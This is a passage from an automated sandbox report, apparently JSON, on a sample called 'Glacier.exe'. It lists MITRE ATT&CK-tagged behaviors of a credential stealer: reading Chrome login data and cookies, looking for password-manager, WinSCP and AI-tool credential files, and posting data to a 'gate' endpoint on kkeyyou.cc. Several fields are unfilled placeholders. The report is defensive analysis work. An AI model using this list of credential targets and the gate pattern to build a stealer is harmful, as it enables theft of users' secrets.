Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"Glacier.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\akg_debug.txt\"\n \"Glacier.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\~DF5d0a.tmp\"\n \"Glacier.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\~DF538a.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to access the loader directly (API string)","description":"Found reference to API \"LdrLoadDll\" (Indicator: \"LdrLoadDll\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found reference to API \"LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag\" (Indicator: \"LdrLoadDll\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found reference to API \"LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/\" (Indicator: \"LdrLoadDll\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found reference to API \"LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)\" (Indicator: \"LdrLoadDll\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1129","relevance":1,"id":"string-548","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"Glacier.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"taskkill.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$46","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$47","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"Glacier.exe\" queries basic process information of the \"C:\\Glacier.exe\" (UID: 1176)\n \"taskkill.exe\" queries basic process information of the \"C:\\Windows\\System32\\taskkill.exe\" (UID: 4308)\n \"taskkill.exe\" queries basic process information of the \"C:\\Windows\\System32\\taskkill.exe\" (UID: 4772)\n \"taskkill.exe\" queries basic process information of the \"C:\\Windows\\System32\\taskkill.exe\" (UID: 952)\n \"taskkill.exe\" queries basic process information of the \"C:\\Windows\\System32\\taskkill.exe\" (UID: 8452)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"Glacier.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\local state\"\n \"Glacier.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\login data\"\n \"Glacier.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\login data for account\"\n \"Glacier.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\network\\cookies\"\n \"Glacier.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\google\\chrome\\user data\\default\\web data\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$4a","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"Glacier.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\apphelp.dll\"\n \"Glacier.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"Glacier.exe\" trying to touch file \"C:\\Glacier.exe\"\n \"Glacier.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"Glacier.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"Glacier.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"Glacier.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"Glacier.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\"\n \"Glacier.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"Glacier.exe\" trying to touch file \"C:\\FLTLIB.DLL\"\n \"Glacier.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\FLTLIB.DLL\"\n \"Glacier.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"Glacier.exe\" trying to touch file \"C:\\MSVCP140.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"Glacier.exe\" trying to access non-existent file \"C:\\FLTLIB.DLL\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\MSVCP140.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\VCRUNTIME140.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\VCRUNTIME140_1.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\ncrypt.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\NTASN1.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\MSASN1.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\CRYPTBASE.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\mozglue.dll\"\n \"Glacier.exe\" trying to access non-existent file \"C:\\Users\\VXQ8XVw\\AppData\\Roaming\\Microsoft\\Vault\\wsmsmwk.exe\"\n \"taskkill.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\wbem\\wbemcomn.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"Glacier.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\akg_debug.txt\"\n \"Glacier.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\~df5d0a.tmp\"\n \"Glacier.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\~df538a.tmp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"Glacier.exe\")\n Found reference to API \"SetsockoptIPMreq\" (Indicator: \"setsockopt\"; File: \"Glacier.exe\")\n Found reference to API \"SetsockoptLinger\" (Indicator: \"setsockopt\"; File: \"Glacier.exe\")\n Found reference to API \"SetsockoptIPv6Mreq\" (Indicator: \"setsockopt\"; File: \"Glacier.exe\")\n Found reference to API \"SetsockoptInet4Addr\" (Indicator: \"setsockopt\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"setsockopt\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$4c","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"Glacier.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"22774547020\"\n \"lpReserved\": \"0\"}\n \"Glacier.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2277457f330\"\n \"lpReserved\": \"0\"}\n \"Glacier.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"227745f7100\"\n \"lpReserved\": \"0\"}\n \"Glacier.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"227745963f0\"\n \"lpReserved\": \"0\"}\n \"Glacier.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"227745f09a0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /gate/handshake\"\n Found http requests in header \"GET /json/?fields=query,countryCode,city,isp\"\n Found http requests in header \"POST /gate/chunk\"\n Found http requests in header \"POST /gate/complete\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \"githubusercontent.com\"; File: \"akg_362d94e6_a.tmp\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.35\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.31\"\n \"2.5.29.3\"\n \"2.5.29.19\"\n \"2.5.29.1\"\n \"2.5.29.32\"\n \"2.5.29.15\"\n \"2.5.4.3\"\n \"2.5.29.14\"\n \"2.5.29.10\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$51","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$52","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000000.167448.7B7A0000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp\")\n Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00001176.00000000.167448.7B7A0000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp\")\n Found string \"POST %s HTTP/1.0\" (Indicator: \"HTTP/1.0\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found string \"GET %s HTTP/1.0\" (Indicator: \"HTTP/1.0\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found string \"POST /gate/complete HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /json/?fields=query\ncountryCode\ncity\nisp HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$53","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"kkeyyou.cc\" (2 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://kkeyyou.cc/gate/handshake\n Found HTTPS POST request to https://kkeyyou.cc/gate/chunk\n Found HTTPS POST request to https://kkeyyou.cc/gate/complete","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"kkeyyou.cc\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.197.60\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to SFTP or FTPS file transfer","description":"Found string \"Software\\Martin Prikryl\\WinSCP 2\\Sessions\" (Indicator: \"winscp\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"FTP/WinSCP/Sessions.txt\" (Indicator: \"winscp\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1048.002","relevance":1,"id":"string-724","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"file/memory contains long string with (Indicator: \"1password\"; File: \"akg_362d9488_6.tmp\")\n file/memory contains long string with (Indicator: \"1password\"; File: \"akg_362d9498_7.tmp\")\n file/memory contains long string with (Indicator: \"1password\"; File: \"akg_362d8ec0_1.tmp\")\n Found string \"%s\\1password\\data\" (Indicator: \"1password\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"file/memory contains long string with (Indicator: \"RtlGetNtVersionNumbers\"; File: \"Glacier.exe\")\n Found reference to API \"syscall.procRtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; File: \"Glacier.exe\")\n Found reference to API \"runtime._RtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; File: \"Glacier.exe\")\n Found reference to API \"20,8032,3024,,RtlGetVersion,NTDLL.dll,\"00:43:35.203\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp\")\n Found reference to API \"syscall.procRtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")\n Found reference to API \"runtime._RtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKey (in long string)\" in file \"Glacier.exe\"\n Found registry query API: \"RegEnumValue (in long string)\" in file \"Glacier.exe\"\n Found registry query API: \"RegQueryValue (in long string)\" in file \"Glacier.exe\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00001176.00000001.167729.6E434000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"\"Glacier.exe\" called \"FindFirstFileA\" with parameter %PROGRAMFILES%\\* (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindNextFileA\" with parameter .. (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindNextFileA\" with parameter Common Files (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindNextFileA\" with parameter desktop.ini (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindNextFileA\" with parameter Google (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindFirstFileA\" with parameter %LOCALAPPDATA%\\Google\\Chrome\\Application\\* (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindFirstFileA\" with parameter %PROGRAMFILES%\\Google\\Chrome\\Application\\* (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindNextFileA\" with parameter 145.0.7632.75 (UID: 00000000-00001176)\n \"Glacier.exe\" called \"FindFirstFileA\" with parameter %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile * (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Glacier.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Glacier.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"Glacier.exe\" called \"GetComputerNameA\" (UID: 00000000-00001176)\n \"Glacier.exe\" called \"GetComputerNameW\" (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"Glacier.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains AI service credential strings","description":"Found string \"%s\\.codex\\auth.json\" (Indicator: \".codex\\auth.json\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"%s\\.codex\\config.toml\" (Indicator: \".codex\\config.toml\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1528","relevance":3,"id":"string-1001","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$55","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"file/memory contains long string with (Indicator: \"FindNextFile\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"FindFirstFile\"; File: \"Glacier.exe\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: 